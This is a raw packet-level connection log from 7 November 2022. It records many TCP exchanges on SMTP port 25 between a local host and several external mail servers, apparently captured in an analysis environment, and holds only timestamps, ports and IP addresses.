Nov 7, 2022 22:25:07.291306019 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.312990904 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:07.575364113 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:07.625521898 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:07.629915953 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:07.630117893 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:07.774355888 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:07.774730921 CET	49866	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:25:07.777406931 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:07.801485062 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:07.828478098 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:07.828597069 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:07.859740019 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:07.860419989 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:07.887018919 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:07.892731905 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:07.893377066 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:07.918536901 CET	25	49866	209.51.188.92	192.168.2.5
Nov 7, 2022 22:25:07.918647051 CET	49866	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:25:07.923609018 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:07.925617933 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:07.931862116 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:07.931927919 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:07.958956957 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:07.964912891 CET	49868	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:25:08.007977962 CET	49869	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:08.062127113 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:08.062268019 CET	49869	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:08.071170092 CET	25	49866	209.51.188.92	192.168.2.5
Nov 7, 2022 22:25:08.071378946 CET	49866	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:25:08.071716070 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:08.071835995 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:08.077847958 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.078075886 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.091160059 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:08.091336012 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:08.104476929 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.108261108 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.108458996 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.110755920 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.117885113 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:08.137490988 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.137516022 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.137531042 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.137547970 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.137562990 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.137607098 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.137607098 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.137676001 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.140288115 CET	25	49868	198.252.153.129	192.168.2.5
Nov 7, 2022 22:25:08.140393019 CET	49868	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:25:08.143634081 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.143758059 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.149609089 CET	49869	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:08.164016962 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164052963 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164068937 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164078951 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164088964 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164139032 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164143085 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.164143085 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.164154053 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164167881 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164210081 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164210081 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.164225101 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164239883 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164242983 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.164254904 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164297104 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.164297104 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.164325953 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.164350986 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164364100 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164376974 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164390087 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164416075 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.164535046 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.164535046 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.164589882 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164604902 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.164680004 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.170425892 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.170447111 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.170527935 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.170572996 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191371918 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191411972 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191432953 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191451073 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191469908 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191478968 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191478968 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191488981 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191509962 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191539049 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191559076 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191579103 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191579103 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191579103 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191579103 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191579103 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191598892 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191618919 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191637993 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191641092 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191637993 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191637993 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191637993 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191660881 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191683054 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191689968 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191689968 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191689968 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191703081 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191723108 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191741943 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191747904 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191747904 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191762924 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191783905 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191797018 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191797018 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191802979 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191797018 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191822052 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191843033 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191843987 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191843987 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191864967 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191881895 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191883087 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191886902 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191909075 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191930056 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191931963 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191931963 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191948891 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191965103 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.191967010 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.191987038 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.192008972 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.192020893 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.192020893 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.192028999 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.192020893 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.192049026 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.192069054 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.192070961 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.192070961 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.192070961 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.192071915 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.192087889 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.192109108 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.192138910 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.192138910 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.192138910 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.192138910 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.192189932 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.196846008 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.196882963 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.196903944 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.196924925 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.197035074 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.197035074 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.197035074 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.204380035 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:08.208698988 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:08.216864109 CET	25	49866	209.51.188.92	192.168.2.5
Nov 7, 2022 22:25:08.218513966 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.218544960 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.218561888 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.218581915 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.218599081 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.218611956 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.218622923 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.218637943 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.218704939 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.218704939 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.218704939 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.218749046 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.218823910 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.218823910 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219136953 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219218969 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219259024 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219283104 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219300032 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219321966 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219356060 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219356060 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219374895 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219393969 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219410896 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219434023 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219460964 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219470024 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219470024 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219477892 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219496965 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219549894 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219571114 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219588041 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219588995 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219588995 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219605923 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219619036 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219667912 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219667912 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219701052 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219708920 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219727039 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219790936 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219820976 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219860077 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219877958 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219897032 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219914913 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219930887 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.219933033 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219953060 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219970942 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.219990015 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220000029 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220000029 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220000029 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220010042 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220000029 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220027924 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220046043 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220066071 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220066071 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220066071 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220124960 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220124960 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220124960 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220190048 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220211983 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220231056 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220248938 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220266104 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220273018 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220273972 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220284939 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220304012 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220323086 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220323086 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220323086 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220377922 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220377922 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220527887 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220547915 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220566988 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220585108 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220602989 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220607996 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220621109 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220639944 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220643044 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220643044 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220658064 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220675945 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220690012 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220695019 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220690012 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220690966 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220714092 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220731974 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220752001 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220756054 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220756054 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220763922 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220798969 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220810890 CET	49867	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:25:08.220819950 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220833063 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220845938 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220897913 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220917940 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220930099 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220974922 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220988035 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.220999956 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.221013069 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.221025944 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.221039057 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.221060038 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.223392963 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.223419905 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.223440886 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.223464012 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.223481894 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.223500967 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.223517895 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.223793030 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.243815899 CET	49869	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:08.243901968 CET	49866	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:25:08.245321035 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245376110 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245407104 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245426893 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245445967 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245471001 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245502949 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245518923 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245538950 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245557070 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245588064 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245620966 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245645046 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245682955 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245707035 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245731115 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245752096 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245774984 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245945930 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245971918 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.245995045 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.246020079 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.246040106 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.246061087 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.246083021 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.246104956 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.246325016 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.246350050 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.246372938 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.246395111 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.246550083 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.246575117 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.246598005 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.247049093 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.247085094 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.247106075 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.247273922 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.247301102 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.247323036 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.247453928 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.247473001 CET	25	49867	142.250.102.27	192.168.2.5
Nov 7, 2022 22:25:08.247484922 CET	25	49867	142.250.102.27	192.168.2.5
